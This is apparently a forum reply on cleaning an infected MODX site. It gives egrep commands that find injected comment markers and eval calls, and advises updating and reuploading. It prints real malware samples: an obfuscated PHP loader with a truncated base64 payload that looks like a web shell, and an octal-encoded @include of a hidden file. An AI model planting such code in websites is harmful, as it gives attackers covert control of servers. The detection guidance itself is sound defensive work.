If you're working on a linux machine (or VM ofcourse) you can try to manually remove it.
Download the site and in command line:
egrep -Rln "/\*[A-Za-z0-9]{2,12}\*/" /path/to/the/site > __include.log
- searches for /*ABC123*/ (ABC123 is just an example)
egrep -Rl "(eval\(|eval/)" /path/to/the/site --exclude=\*.{js,css} > __eval.log
- Searches for command php eval in the files.
Then you have to manually edit the files.
Delete anything that looks unreadable like
$GLOBALS['of4721'] = Array();global $of4721;$of4721 = $GLOBALS;${"\x47\x4c\x4fB\x41\x4c\x53"}['d299'] = "\x6f\x64\x69\x4c\x55\x61\x65\x77\x4a\x49\x52\x35\x3d\x6d\x54\x63\x2e\x4b\x24\x5c\x41\x4f\x30\x23\x7a\x73\x5d\x44\x46\x7e\x3a\x58\x6e\x50\x39\x2a\x70\x78\x3b\x2d\x67\x56\x4d\x6c\x33\x38\x51\x3f\x31\x79\x48\x45\x43\x68\x5f\x57\x62\x34\x42\x29\x72\x66\x2f\x28\x21\x3c\x76\x71\x25\xa\x59\x2b\x60\x32\x22\x6a\x5a\x74\x53\x47\x36\x40\x3e\x20\xd\x2c\x5b\x75\x27\x7c\x7b\x9\x26\x4e\x5e\x6b\x37\x7d";$of4721[$of472$_X='Pz48P3BocA0KDQovKioNCiAqIEAxM3RoMnIgSWtyMW0gQUxJDQogKiBAYzJweXI0Z2h0IGEwNmENCiAqLw0KQGQ1ZjRuNSgnVkVSU0lPTicsJzYuMCcpOw0KQDVycjJyX3I1cDJydDRuZyhFX0FMTCBeIEVfTk9USUNFKTsNCkBzNXNzNDJuX3N0MXJ0KCk7DQpANG40X3M1dCgnNXJyMnJfbDJnJyxOVUxMKTsNCkA0bjRfczV0KCdsMmdfNXJyMnJzJywwKTsNCkA0bjRfczV0KCdtMXhfNXg1YzN0NDJuX3Q0bTUnLDApOw0KQHM1dF90NG01X2w0bTR0KDApOw0KQHM1dF9tMWc0Y19xMzJ0NXNfcjNudDRtNSgwKTsNCg0KNGYoZzV0X20xZzRjX3EzMnQ1c19ncGMoKSkgew0KCWYzbmN0NDJuIG0xZHN0cjRwc2wxc2g1cygkMXJyMXkpIHsNCgkJcjV0M3JuIDRzXzFycjF5KCQxcnIxeSkgPyAxcnIxeV9tMXAoJ20xZHN0cjRwc2wxc2g1cycsICQxcnIxeSkgOiBzdHI0cHNsMXNoNXMoJDFycjF5KTsNCgl9DQoJJF9QT1NUID0gbTFkc3RyNHBzbDFzaDVzKCRfUE9TVCk7DQp9DQokZDVmMTNsdF8xY3Q0Mm4gPSAnRjRsNXNNMW4nOw0KJGQ1ZjEzbHRfM3M1XzFqMXggPSB0
/*fb491*/
@include "\057h\157m\145/\163t\162o\156y\057i\156t\145r\143i\164y\056p\154/\167w\167/\157b\162a\172y\057d\172i\141l\040p\162a\163o\167y\057M\141j\303³\167k\141 \0613\047/\0566\061f\143f\065f\141.\151c\157";
/*fb491*/
Update to 2.6.5 and Gallery to the newest, ideally on local machine. Delete site from the server and reupload.
[edit] you can also overwrite with newest MODX before doing searches. Should be less files to edit.
